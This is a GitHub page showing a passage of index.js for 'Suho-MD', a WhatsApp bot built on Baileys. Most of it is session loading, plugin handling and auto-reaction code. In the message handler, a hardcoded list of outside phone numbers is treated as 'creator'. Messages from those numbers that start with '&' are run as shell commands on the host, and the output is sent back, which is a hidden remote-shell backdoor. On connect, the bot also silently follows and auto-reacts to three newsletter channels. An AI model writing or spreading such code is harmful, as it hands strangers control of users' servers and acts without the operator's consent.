-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.js
More file actions
1044 lines (914 loc) · 44 KB
/
Copy pathindex.js
File metadata and controls
1044 lines (914 loc) · 44 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
// SUHO CREATED BY DEV SUNG 🤴
const axios = require('axios')
const config = require('./settings')
const {
default: makeWASocket,
useMultiFileAuthState,
DisconnectReason,
jidNormalizedUser,
isJidBroadcast,
getContentType,
proto,
generateWAMessageContent,
generateWAMessage,
AnyMessageContent,
prepareWAMessageMedia,
areJidsSameUser,
downloadContentFromMessage,
MessageRetryMap,
generateForwardMessageContent,
generateWAMessageFromContent,
generateMessageID,
makeInMemoryStore,
jidDecode,
fetchLatestBaileysVersion,
Browsers
} = require(config.BAILEYS)
const l = console.log
const { getBuffer, getGroupAdmins, getRandom, h2k, isUrl, Json, runtime, sleep, fetchJson } = require('./lib/functions')
const { AntiDelDB, initializeAntiDeleteSettings, setAnti, getAnti, getAllAntiDeleteSettings, saveContact, loadMessage, getName, getChatSummary, saveGroupMetadata, getGroupMetadata, saveMessageCount, getInactiveGroupMembers, getGroupMembersMessageCount, saveMessage } = require('./data')
const fs = require('fs')
const ff = require('fluent-ffmpeg')
const P = require('pino')
const GroupEvents = require('./lib/groupevents');
const { PresenceControl, BotActivityFilter } = require('./data/presence');
const qrcode = require('qrcode-terminal')
const StickersTypes = require('wa-sticker-formatter')
const util = require('util')
const { sms, downloadMediaMessage, AntiDelete } = require('./lib')
const FileType = require('file-type');
const { File } = require('megajs')
const { fromBuffer } = require('file-type')
const bodyparser = require('body-parser')
const os = require('os')
const Crypto = require('crypto')
const path = require('path')
const { getPrefix } = require('./lib/prefix');
const ownerNumber = [27649342626]
//=============================================
const tempDir = path.join(os.tmpdir(), 'cache-temp')
if (!fs.existsSync(tempDir)) {
fs.mkdirSync(tempDir)
}
const clearTempDir = () => {
fs.readdir(tempDir, (err, files) => {
if (err) throw err;
for (const file of files) {
fs.unlink(path.join(tempDir, file), err => {
if (err) throw err;
});
}
});
}
//=============================================
// Clear the temp directory every 5 minutes
setInterval(clearTempDir, 5 * 60 * 1000);
//=============================================
const express = require("express");
const app = express();
const port = process.env.PORT || 7860;
//=========SESSION-AUTH=====================
const sessionDir = path.join(__dirname, 'sessions');
const credsPath = path.join(sessionDir, 'creds.json');
// Create session directory if it doesn't exist
if (!fs.existsSync(sessionDir)) {
fs.mkdirSync(sessionDir, { recursive: true });
}
async function loadSession() {
try {
if (!config.SESSION_ID) {
console.log('No SESSION_ID provided - QR login will be generated');
return null;
}
console.log('[ ⏳ ] Downloading creds data...');
console.log('[ 🆔️ ] Downloading MEGA.nz session...');
// Remove "malvin~" prefix if present, otherwise use full SESSION_ID
const megaFileId = config.SESSION_ID.startsWith('suho~')
? config.SESSION_ID.replace("suho~", "")
: config.SESSION_ID;
const filer = File.fromURL(`https://mega.nz/file/${megaFileId}`);
const data = await new Promise((resolve, reject) => {
filer.download((err, data) => {
if (err) reject(err);
else resolve(data);
});
});
fs.writeFileSync(credsPath, data);
console.log('[ ✅ ] MEGA session downloaded successfully');
return JSON.parse(data.toString());
} catch (error) {
console.error('❌ Error loading session:', error.message);
console.log('Will generate QR code instead');
return null;
}
}
//=======SESSION-AUTH==============
async function connectToWA() {
console.log("[ 🟠 ] Connecting to WhatsApp ⏳️...");
// Load session if available (now handles both Koyeb and MEGA)
const creds = await loadSession();
const { state, saveCreds } = await useMultiFileAuthState(path.join(__dirname, 'sessions'), {
creds: creds || undefined // Pass loaded creds if available
});
const { version } = await fetchLatestBaileysVersion();
const conn = makeWASocket({
logger: P({ level: 'silent' }),
printQRInTerminal: false, // Only show QR if no session loaded
browser: Browsers.macOS("Firefox"),
syncFullHistory: true,
auth: state,
version,
getMessage: async() => ({})
});
// ... rest of your existing connectToWA code ...
conn.ev.on('connection.update', async(update) => {
const { connection, lastDisconnect, qr } = update;
if (connection === 'close') {
if (lastDisconnect.error ?.output ?.statusCode !== DisconnectReason.loggedOut) {
console.log('[ ⏳️ ] Connection lost, reconnecting...');
setTimeout(connectToWA, 5000);
} else {
console.log('[ 🛑 ] Connection closed, please change session ID');
}
} else if (connection === 'open') {
console.log('[ 🤖 ] Suho-md Connected ✅');
// Load plugins
const pluginPath = path.join(__dirname, 'plugins');
fs.readdirSync(pluginPath).forEach((plugin) => {
if (path.extname(plugin).toLowerCase() === ".js") {
require(path.join(pluginPath, plugin));
}
});
console.log('[ 🧩 ] Plugins installed successfully ✅');
// Send connection message
try {
// const username = config.REPO.split('/').slice(3, 4)[0];
const botname = "SungSu-ho-MD"; //add your name
const ownername = "Dev Sung"; // add your name
const malvin = {
key: {
remoteJid: 'status@broadcast',
participant: '0@s.whatsapp.net'
},
message: {
newsletterAdminInviteMessage: {
newsletterJid: '120363402507750390@newsletter', //add your channel jid
newsletterName: "sung tech🪀", //add your bot name
caption: botname + ` ʙʏ ` + ownername,
inviteExpiration: 0
}
}
}
const prefix = getPrefix();
const username = `NaCkS-ai`;
const mrmalvin = `https://github.com/${username}`;
const upMessage = `\`Suho-MD Bot Synced to the Shadows!\` ⚔️👁️
\n\n> _Forged in darkness, one of the Strongest W.A Hunters._\n\n────────────────
> 🔮 \`Star the Arsenal\` :
${config.REPO}\n
> ⚔️ \`Join the Guild\` :
${mrmalvin}\n
> 🩸 \`Command Prefix\` ${prefix}\n
> 📜 \`ᴛʜᴇ ᴘᴀᴛʜ ᴏꜰ ᴘᴏᴡᴇʀ (YouTube)\`:
https://youtube.com/@malvintech2
────────────────
\n> © Dev Sung — *Awaken Your Strength*`;
await conn.sendMessage(conn.user.id, {
image: { url: `https://files.catbox.moe/pyda5w.jpg` },
ai: true,
caption: upMessage
});
/*
// DOESN'T SUPOORT IOS
await conn.sendMessage(conn.user.id, {
image: { url: `https://files.catbox.moe/01f9y1.jpg` },
ai: true,
caption: upMessage
}, {
quoted: malvin
}); */
// Send settings menu after connection message
//================== C FOLLOW ==================
// 📨 Newsletter channels to follow
const newsletterChannels = [
"120363402507750390@newsletter", // Main Channel
"120363419136706156@newsletter", // Secondary Channel
"120363420267586200@newsletter" // Tertiary Channel
];
// 🔁 Follow each newsletter and collect results
let followed = [];
let alreadyFollowing = [];
let failed = [];
for (const channelJid of newsletterChannels) {
try {
const metadata = await conn.newsletterMetadata("jid", channelJid);
if (metadata.viewer_metadata === null) {
await conn.newsletterFollow(channelJid);
followed.push(channelJid);
} else {
alreadyFollowing.push(channelJid);
}
} catch (error) {
failed.push(channelJid);
console.error(`❌ Failed to follow ${channelJid}:`, error.message);
}
}
// ✅ Summary log
let summary = `📡 Newsletter Follow Status:\n\n` +
`✅ Followed: ${followed.length} channel(s)\n` +
`📌 Already following: ${alreadyFollowing.length} channel(s)\n` +
(failed.length > 0 ? `❌ Failed: ${failed.length} channel(s)\n\n` : `\n`) +
`💡 Tip: Following these channels keeps your bot updated with the latest news and features.`;
console.log(summary.trim());
} catch (sendError) {
console.error('[ 🔴 ] Error sending messages:', sendError);
}
}
if (qr) {
console.log('[ 🟢 ] Scan the QR code to connect or use session ID');
}
});
conn.ev.on('creds.update', saveCreds);
// =====================================
// =====================================
conn.ev.on('messages.update', async updates => {
for (const update of updates) {
if (update.update.message === null) {
console.log("Delete Detected:", JSON.stringify(update, null, 2));
await AntiDelete(conn, updates);
}
}
});
// anti-call
conn.ev.on('call', async (calls) => {
try {
if (config.ANTI_CALL !== 'true') return;
for (const call of calls) {
if (call.status !== 'offer') continue; // Only respond on call offer
const id = call.id;
const from = call.from;
await conn.rejectCall(id, from);
await conn.sendMessage(from, {
text: config.REJECT_MSG || '*📞 ᴄαℓℓ ɴσт αℓℓσωє∂ ιɴ тнιѕ ɴᴜмвєʀ уσυ ∂σɴт нανє ᴘєʀмιѕѕισɴ 📵*'
});
console.log(`Call rejected and message sent to ${from}`);
}
} catch (err) {
console.error("Anti-call error:", err);
}
});
//=========WELCOME & GOODBYE =======
conn.ev.on('presence.update', async (update) => {
await PresenceControl(conn, update);
});
// always Online
conn.ev.on("presence.update", (update) => PresenceControl(conn, update));
BotActivityFilter(conn);
/// READ STATUS
conn.ev.on('messages.upsert', async(mek) => {
mek = mek.messages[0]
if (!mek.message) return
mek.message = (getContentType(mek.message) === 'ephemeralMessage')
? mek.message.ephemeralMessage.message
: mek.message;
//console.log("New Message Detected:", JSON.stringify(mek, null, 2));
if (config.READ_MESSAGE === 'true') {
await conn.readMessages([mek.key]); // Mark message as read
console.log(`Marked message from ${mek.key.remoteJid} as read.`);
}
if(mek.message.viewOnceMessageV2)
mek.message = (getContentType(mek.message) === 'ephemeralMessage') ? mek.message.ephemeralMessage.message : mek.message
if (mek.key && mek.key.remoteJid === 'status@broadcast' && config.AUTO_STATUS_SEEN === "true"){
await conn.readMessages([mek.key])
}
//================== AUTO REACT ==============
const newsletterJids = [
"120363402507750390@newsletter", // Main Channel
"120363419136706156@newsletter", // Secondary Channel
"120363420267586200@newsletter" // Tertiary Channel
];
const emojis = ["❤️", "🔥", "😯"];
if (mek.key && newsletterJids.includes(mek.key.remoteJid)) {
try {
const serverId = mek.newsletterServerId;
if (serverId) {
const emoji = emojis[Math.floor(Math.random() * emojis.length)];
await conn.newsletterReactMessage(mek.key.remoteJid, serverId.toString(), emoji);
console.log("Reacted to channel message with", emoji);
}
} catch (e) {
console.error("Error reacting to channel message:", e);
}
}
if (mek.key && mek.key.remoteJid === 'status@broadcast' && config.AUTO_STATUS_REACT === "true"){
const kingmalvin = await conn.decodeJid(conn.user.id);
const emojis = ['❤️', '💸', '😇', '🍂', '💥', '💯', '🔥', '💫', '💎', '💗', '🤍', '🖤', '👀', '🙌', '🙆', '🚩', '🥰', '💐', '😎', '🤎', '✅', '🫀', '🧡', '😁', '😄', '🌸', '🕊️', '🌷', '⛅', '🌟', '🗿', '🇵🇰', '💜', '💙', '🌝', '🖤', '💚'];
const randomEmoji = emojis[Math.floor(Math.random() * emojis.length)];
await conn.sendMessage(mek.key.remoteJid, {
react: {
text: randomEmoji,
key: mek.key,
}
}, { statusJidList: [mek.key.participant, kingmalvin] });
}
if (mek.key && mek.key.remoteJid === 'status@broadcast' && config.AUTO_STATUS_REPLY === "true"){
const user = mek.key.participant
const text = `${config.AUTO_STATUS_MSG}`
await conn.sendMessage(user, { text: text, react: { text: '💜', key: mek.key } }, { quoted: mek })
}
await Promise.all([
saveMessage(mek),
]);
const m = sms(conn, mek)
const type = getContentType(mek.message)
const content = JSON.stringify(mek.message)
const from = mek.key.remoteJid
const quoted = type == 'extendedTextMessage' && mek.message.extendedTextMessage.contextInfo != null ? mek.message.extendedTextMessage.contextInfo.quotedMessage || [] : []
const body = (type === 'conversation') ? mek.message.conversation : (type === 'extendedTextMessage') ? mek.message.extendedTextMessage.text : (type == 'imageMessage') && mek.message.imageMessage.caption ? mek.message.imageMessage.caption : (type == 'videoMessage') && mek.message.videoMessage.caption ? mek.message.videoMessage.caption : ''
const prefix = getPrefix(); // get the current prefix dynamically
const isCmd = body.startsWith(prefix)
var budy = typeof mek.text == 'string' ? mek.text : false;
const command = isCmd ? body.slice(prefix.length).trim().split(' ').shift().toLowerCase() : ''
const args = body.trim().split(/ +/).slice(1)
const q = args.join(' ')
const text = args.join(' ')
const isGroup = from.endsWith('@g.us')
const sender = mek.key.fromMe ? (conn.user.id.split(':')[0]+'@s.whatsapp.net' || conn.user.id) : (mek.key.participant || mek.key.remoteJid)
const senderNumber = sender.split('@')[0]
const botNumber = conn.user.id.split(':')[0]
const pushname = mek.pushName || 'Sin Nombre'
const isMe = botNumber.includes(senderNumber)
const isOwner = ownerNumber.includes(senderNumber) || isMe
const botNumber2 = await jidNormalizedUser(conn.user.id);
const groupMetadata = isGroup ? await conn.groupMetadata(from).catch(e => {}) : ''
const groupName = isGroup ? groupMetadata.subject : ''
const participants = isGroup ? await groupMetadata.participants : ''
const groupAdmins = isGroup ? await getGroupAdmins(participants) : ''
const isBotAdmins = isGroup ? groupAdmins.includes(botNumber2) : false
const isAdmins = isGroup ? groupAdmins.includes(sender) : false
const isReact = m.message.reactionMessage ? true : false
const reply = (teks) => {
conn.sendMessage(from, { text: teks }, { quoted: mek })
}
const udp = botNumber.split('@')[0];
const king = ('263714757857', '263776388689', '263780934873');
const ownerFilev2 = JSON.parse(fs.readFileSync('./lib/sudo.json', 'utf-8'));
let isCreator = [udp, ...king, config.DEV + '@s.whatsapp.net', ...ownerFilev2]
.map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net')
.includes(mek.sender);
if (isCreator && mek.text.startsWith("&")) {
let code = budy.slice(2);
if (!code) {
reply(`Provide me with a query to run Master!`);
return;
}
const { spawn } = require("child_process");
try {
let resultTest = spawn(code, { shell: true });
resultTest.stdout.on("data", data => {
reply(data.toString());
});
resultTest.stderr.on("data", data => {
reply(data.toString());
});
resultTest.on("error", data => {
reply(data.toString());
});
resultTest.on("close", code => {
if (code !== 0) {
reply(`command exited with code ${code}`);
}
});
} catch (err) {
reply(util.format(err));
}
return;
}
//==========public react============//
// Auto React for all messages (public and owner)
if (!isReact && config.AUTO_REACT === 'true') {
const reactions = [
'🌼', '❤️', '💐', '🔥', '🏵️', '❄️', '🧊', '🐳', '💥', '🥀', '❤🔥', '🥹', '😩', '🫣',
'🤭', '👻', '👾', '🫶', '😻', '🙌', '🫂', '🫀', '👩🦰', '🧑🦰', '👩⚕️', '🧑⚕️', '🧕',
'👩🏫', '👨💻', '👰♀', '🦹🏻♀️', '🧟♀️', '🧟', '🧞♀️', '🧞', '🙅♀️', '💁♂️', '💁♀️', '🙆♀️',
'🙋♀️', '🤷', '🤷♀️', '🤦', '🤦♀️', '💇♀️', '💇', '💃', '🚶♀️', '🚶', '🧶', '🧤', '👑',
'💍', '👝', '💼', '🎒', '🥽', '🐻', '🐼', '🐭', '🐣', '🪿', '🦆', '🦊', '🦋', '🦄',
'🪼', '🐋', '🐳', '🦈', '🐍', '🕊️', '🦦', '🦚', '🌱', '🍃', '🎍', '🌿', '☘️', '🍀',
'🍁', '🪺', '🍄', '🍄🟫', '🪸', '🪨', '🌺', '🪷', '🪻', '🥀', '🌹', '🌷', '💐', '🌾',
'🌸', '🌼', '🌻', '🌝', '🌚', '🌕', '🌎', '💫', '🔥', '☃️', '❄️', '🌨️', '🫧', '🍟',
'🍫', '🧃', '🧊', '🪀', '🤿', '🏆', '🥇', '🥈', '🥉', '🎗️', '🤹', '🤹♀️', '🎧', '🎤',
'🥁', '🧩', '🎯', '🚀', '🚁', '🗿', '🎙️', '⌛', '⏳', '💸', '💎', '⚙️', '⛓️', '🔪',
'🧸', '🎀', '🪄', '🎈', '🎁', '🎉', '🏮', '🪩', '📩', '💌', '📤', '📦', '📊', '📈',
'📑', '📉', '📂', '🔖', '🧷', '📌', '📝', '🔏', '🔐', '🩷', '❤️', '🧡', '💛', '💚',
'🩵', '💙', '💜', '🖤', '🩶', '🤍', '🤎', '❤🔥', '❤🩹', '💗', '💖', '💘', '💝', '❌',
'✅', '🔰', '〽️', '🌐', '🌀', '⤴️', '⤵️', '🔴', '🟢', '🟡', '🟠', '🔵', '🟣', '⚫',
'⚪', '🟤', '🔇', '🔊', '📢', '🔕', '♥️', '🕐', '🚩', '🇵🇰'
];
const randomReaction = reactions[Math.floor(Math.random() * reactions.length)];
m.react(randomReaction);
}
// owner react
// Owner React
if (!isReact && senderNumber === botNumber) {
if (config.OWNER_REACT === 'true') {
const reactions = [
'🌼', '❤️', '💐', '🔥', '🏵️', '❄️', '🧊', '🐳', '💥', '🥀', '❤🔥', '🥹', '😩', '🫣', '🤭', '👻', '👾', '🫶', '😻', '🙌', '🫂', '🫀', '👩🦰', '🧑🦰', '👩⚕️', '🧑⚕️', '🧕', '👩🏫', '👨💻', '👰♀', '🦹🏻♀️', '🧟♀️', '🧟', '🧞♀️', '🧞', '🙅♀️', '💁♂️', '💁♀️', '🙆♀️', '🙋♀️', '🤷', '🤷♀️', '🤦', '🤦♀️', '💇♀️', '💇', '💃', '🚶♀️', '🚶', '🧶', '🧤', '👑', '💍', '👝', '💼', '🎒', '🥽', '🐻 ', '💸', '😇', '🍂', '💥', '💯', '🔥', '💫', '💎', '💗', '🤍', '🖤', '👀', '🙌', '🙆', '🚩', '🥰', '💐', '😎', '🤎', '✅', '🫀', '🧡', '😁', '😄', '🌸', '🕊️', '🌷', '⛅', '🌟', '🗿', '🇵🇰', '💜', '💙', '🌝', '🖤', '🎎', '🎏', '🎐', '⚽', '🧣', '🌿', '⛈️', '🌦️', '🌚', '🌝', '🙈', '🙉', '🦖', '🐤', '🎗️', '🥇', '👾', '🔫', '🐝', '🦋', '🍓', '🍫', '🍭', '🧁', '🧃', '🍿', '🍻', '🛬', '🫀', '🫠', '🐍', '🥀', '🌸', '🏵️', '🌻', '🍂', '🍁', '🍄', '🌾', '🌿', '🌱', '🍀', '🧋', '💒', '🏩', '🏗️', '🏰', '🏪', '🏟️', '🎗️', '🥇', '⛳', '📟', '🏮', '📍', '🔮', '🧿', '♻️', '⛵', '🚍', '🚔', '🛳️', '🚆', '🚤', '🚕', '🛺', '🚝', '🚈', '🏎️', '🏍️', '🛵', '🥂', '🍾', '🍧', '🐣', '🐥', '🦄', '🐯', '🐦', '🐬', '🐋', '🦆', '💈', '⛲', '⛩️', '🎈', '🎋', '🪀', '🧩', '👾', '💸', '💎', '🧮', '👒', '🧢', '🎀', '🧸', '👑', '〽️', '😳', '💀', '☠️', '👻', '🔥', '♥️', '👀', '🐼', '🐭', '🐣', '🪿', '🦆', '🦊', '🦋', '🦄', '🪼', '🐋', '🐳', '🦈', '🐍', '🕊️', '🦦', '🦚', '🌱', '🍃', '🎍', '🌿', '☘️', '🍀', '🍁', '🪺', '🍄', '🍄🟫', '🪸', '🪨', '🌺', '🪷', '🪻', '🥀', '🌹', '🌷', '💐', '🌾', '🌸', '🌼', '🌻', '🌝', '🌚', '🌕', '🌎', '💫', '🔥', '☃️', '❄️', '🌨️', '🫧', '🍟', '🍫', '🧃', '🧊', '🪀', '🤿', '🏆', '🥇', '🥈', '🥉', '🎗️', '🤹', '🤹♀️', '🎧', '🎤', '🥁', '🧩', '🎯', '🚀', '🚁', '🗿', '🎙️', '⌛', '⏳', '💸', '💎', '⚙️', '⛓️', '🔪', '🧸', '🎀', '🪄', '🎈', '🎁', '🎉', '🏮', '🪩', '📩', '💌', '📤', '📦', '📊', '📈', '📑', '📉', '📂', '🔖', '🧷', '📌', '📝', '🔏', '🔐', '🩷', '❤️', '🧡', '💛', '💚', '🩵', '💙', '💜', '🖤', '🩶', '🤍', '🤎', '❤🔥', '❤🩹', '💗', '💖', '💘', '💝', '❌', '✅', '🔰', '〽️', '🌐', '🌀', '⤴️', '⤵️', '🔴', '🟢', '🟡', '🟠', '🔵', '🟣', '⚫', '⚪', '🟤', '🔇', '🔊', '📢', '🔕', '♥️', '🕐', '🚩', '🇵🇰', '🧳', '🌉', '🌁', '🛤️', '🛣️', '🏚️', '🏠', '🏡', '🧀', '🍥', '🍮', '🍰', '🍦', '🍨', '🍧', '🥠', '🍡', '🧂', '🍯', '🍪', '🍩', '🍭', '🥮', '🍡'
];
const randomReaction = reactions[Math.floor(Math.random() * reactions.length)]; //
m.react(randomReaction);
}
}
// custum react settings
// Custom React for all messages (public and owner)
if (!isReact && config.CUSTOM_REACT === 'true') {
// Use custom emojis from the configuration (fallback to default if not set)
const reactions = (config.CUSTOM_REACT_EMOJIS || '🥲,😂,👍🏻,🙂,😔').split(',');
const randomReaction = reactions[Math.floor(Math.random() * reactions.length)];
m.react(randomReaction);
}
// ban users
const bannedUsers = JSON.parse(fs.readFileSync('./lib/ban.json', 'utf-8'));
const isBanned = bannedUsers.includes(sender);
if (isBanned) return; // Ignore banned users completely
const ownerFile = JSON.parse(fs.readFileSync('./lib/sudo.json', 'utf-8')); // Read file
const ownerNumberFormatted = `${config.OWNER_NUMBER}@s.whatsapp.net`;
// Check if the sender exists in owner.json
const isFileOwner = ownerFile.includes(sender);
const isRealOwner = sender === ownerNumberFormatted || isMe || isFileOwner;
// Apply conditions based on owner status
if (!isRealOwner && config.MODE === "private") return;
if (!isRealOwner && isGroup && config.MODE === "inbox") return;
if (!isRealOwner && !isGroup && config.MODE === "groups") return;
// take commands
const events = require('./lite')
const cmdName = isCmd ? body.slice(1).trim().split(" ")[0].toLowerCase() : false;
if (isCmd) {
const cmd = events.commands.find((cmd) => cmd.pattern === (cmdName)) || events.commands.find((cmd) => cmd.alias && cmd.alias.includes(cmdName))
if (cmd) {
if (cmd.react) conn.sendMessage(from, { react: { text: cmd.react, key: mek.key }})
try {
cmd.function(conn, mek, m,{from, quoted, body, isCmd, command, args, q, text, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, isCreator, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply});
} catch (e) {
console.error("[PLUGIN ERROR] " + e);
}
}
}
events.commands.map(async(command) => {
if (body && command.on === "body") {
command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, text, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, isCreator, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply})
} else if (mek.q && command.on === "text") {
command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, text, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, isCreator, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply})
} else if (
(command.on === "image" || command.on === "photo") &&
mek.type === "imageMessage"
) {
command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, text, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, isCreator, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply})
} else if (
command.on === "sticker" &&
mek.type === "stickerMessage"
) {
command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, text, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, isCreator, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply})
}});
});
//===================================================
conn.decodeJid = jid => {
if (!jid) return jid;
if (/:\d+@/gi.test(jid)) {
let decode = jidDecode(jid) || {};
return (
(decode.user &&
decode.server &&
decode.user + '@' + decode.server) ||
jid
);
} else return jid;
};
//===================================================
conn.copyNForward = async(jid, message, forceForward = false, options = {}) => {
let vtype
if (options.readViewOnce) {
message.message = message.message && message.message.ephemeralMessage && message.message.ephemeralMessage.message ? message.message.ephemeralMessage.message : (message.message || undefined)
vtype = Object.keys(message.message.viewOnceMessage.message)[0]
delete(message.message && message.message.ignore ? message.message.ignore : (message.message || undefined))
delete message.message.viewOnceMessage.message[vtype].viewOnce
message.message = {
...message.message.viewOnceMessage.message
}
}
let mtype = Object.keys(message.message)[0]
let content = await generateForwardMessageContent(message, forceForward)
let ctype = Object.keys(content)[0]
let context = {}
if (mtype != "conversation") context = message.message[mtype].contextInfo
content[ctype].contextInfo = {
...context,
...content[ctype].contextInfo
}
const waMessage = await generateWAMessageFromContent(jid, content, options ? {
...content[ctype],
...options,
...(options.contextInfo ? {
contextInfo: {
...content[ctype].contextInfo,
...options.contextInfo
}
} : {})
} : {})
await conn.relayMessage(jid, waMessage.message, { messageId: waMessage.key.id })
return waMessage
}
//=================================================
conn.downloadAndSaveMediaMessage = async(message, filename, attachExtension = true) => {
let quoted = message.msg ? message.msg : message
let mime = (message.msg || message).mimetype || ''
let messageType = message.mtype ? message.mtype.replace(/Message/gi, '') : mime.split('/')[0]
const stream = await downloadContentFromMessage(quoted, messageType)
let buffer = Buffer.from([])
for await (const chunk of stream) {
buffer = Buffer.concat([buffer, chunk])
}
let type = await FileType.fromBuffer(buffer)
trueFileName = attachExtension ? (filename + '.' + type.ext) : filename
// save to file
await fs.writeFileSync(trueFileName, buffer)
return trueFileName
}
//=================================================
conn.downloadMediaMessage = async(message) => {
let mime = (message.msg || message).mimetype || ''
let messageType = message.mtype ? message.mtype.replace(/Message/gi, '') : mime.split('/')[0]
const stream = await downloadContentFromMessage(message, messageType)
let buffer = Buffer.from([])
for await (const chunk of stream) {
buffer = Buffer.concat([buffer, chunk])
}
return buffer
}
/**
*
* @param {*} jid
* @param {*} message
* @param {*} forceForward
* @param {*} options
* @returns
*/
//================================================
conn.sendFileUrl = async (jid, url, caption, quoted, options = {}) => {
let mime = '';
let res = await axios.head(url)
mime = res.headers['content-type']
if (mime.split("/")[1] === "gif") {
return conn.sendMessage(jid, { video: await getBuffer(url), caption: caption, gifPlayback: true, ...options }, { quoted: quoted, ...options })
}
let type = mime.split("/")[0] + "Message"
if (mime === "application/pdf") {
return conn.sendMessage(jid, { document: await getBuffer(url), mimetype: 'application/pdf', caption: caption, ...options }, { quoted: quoted, ...options })
}
if (mime.split("/")[0] === "image") {
return conn.sendMessage(jid, { image: await getBuffer(url), caption: caption, ...options }, { quoted: quoted, ...options })
}
if (mime.split("/")[0] === "video") {
return conn.sendMessage(jid, { video: await getBuffer(url), caption: caption, mimetype: 'video/mp4', ...options }, { quoted: quoted, ...options })
}
if (mime.split("/")[0] === "audio") {
return conn.sendMessage(jid, { audio: await getBuffer(url), caption: caption, mimetype: 'audio/mpeg', ...options }, { quoted: quoted, ...options })
}
}
//==========================================================
conn.cMod = (jid, copy, text = '', sender = conn.user.id, options = {}) => {
//let copy = message.toJSON()
let mtype = Object.keys(copy.message)[0]
let isEphemeral = mtype === 'ephemeralMessage'
if (isEphemeral) {
mtype = Object.keys(copy.message.ephemeralMessage.message)[0]
}
let msg = isEphemeral ? copy.message.ephemeralMessage.message : copy.message
let content = msg[mtype]
if (typeof content === 'string') msg[mtype] = text || content
else if (content.caption) content.caption = text || content.caption
else if (content.text) content.text = text || content.text
if (typeof content !== 'string') msg[mtype] = {
...content,
...options
